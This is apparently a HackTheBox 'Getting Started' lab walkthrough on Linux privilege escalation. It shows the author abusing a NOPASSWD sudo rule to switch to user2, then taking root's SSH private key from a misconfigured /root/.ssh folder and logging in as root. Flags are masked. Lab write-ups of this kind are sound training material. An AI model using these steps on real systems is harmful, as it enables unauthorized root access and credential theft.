Privilege Escalation
ℹ️ Informations¶
- 🌐 Website: HackTheBox
- 📚 Module: Getting Started
- 🔗 Link: Privilege Escalation
❓Question¶
SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.
SSH to [IP]:30980 with user "user1" and password "password1"
📋 Walkthrough¶
Login to ssh using provided credentials
We get into the server. Try to see if we can run something as root usingsudo -l
user1@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:~$ sudo -l
Matching Defaults entries for user1 on ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:
(user2 : user2) NOPASSWD: /bin/bash
/bin/bash
as user2, so we can elevate our privileges to that user. user1@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:~$ sudo -u user2 /bin/bash
user2@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:/home/user1$
Answer
HTB{********************************}
❓Question¶
Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.
📋 Walkthrough¶
As user2, check in the filesystem what we can do. If I list directories in /root folder, we can see something interesting.
user2@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:/root$ ls -la
total 32
drwxr-x--- 1 root user2 4096 Feb 12 2021 .
drwxr-xr-x 1 root root 4096 Aug 24 11:59 ..
-rwxr-x--- 1 root user2 5 Aug 19 2020 .bash_history
-rwxr-x--- 1 root user2 3106 Dec 5 2019 .bashrc
-rwxr-x--- 1 root user2 161 Dec 5 2019 .profile
drwxr-x--- 1 root user2 4096 Feb 12 2021 .ssh
-rwxr-x--- 1 root user2 1309 Aug 19 2020 .viminfo
-rw------- 1 root root 33 Feb 12 2021 flag.txt
user2@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:/root$
flag.txt
file. We also notice that .ssh
has users2
as group owner with permission. We can check if we are in that group using id
. Entering .ssh
folder, we can see that can get the id_rsa
key. Copy this key, set 600
permission and try to login with root uwing ssh -i key
ssh -i key root@[IP] -p 30980
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ng-516517-gettingstartedprivesc-nq3l3-599b47bb6f-cjwnh:~# cat flag.txt
Answer
HTB{***************************}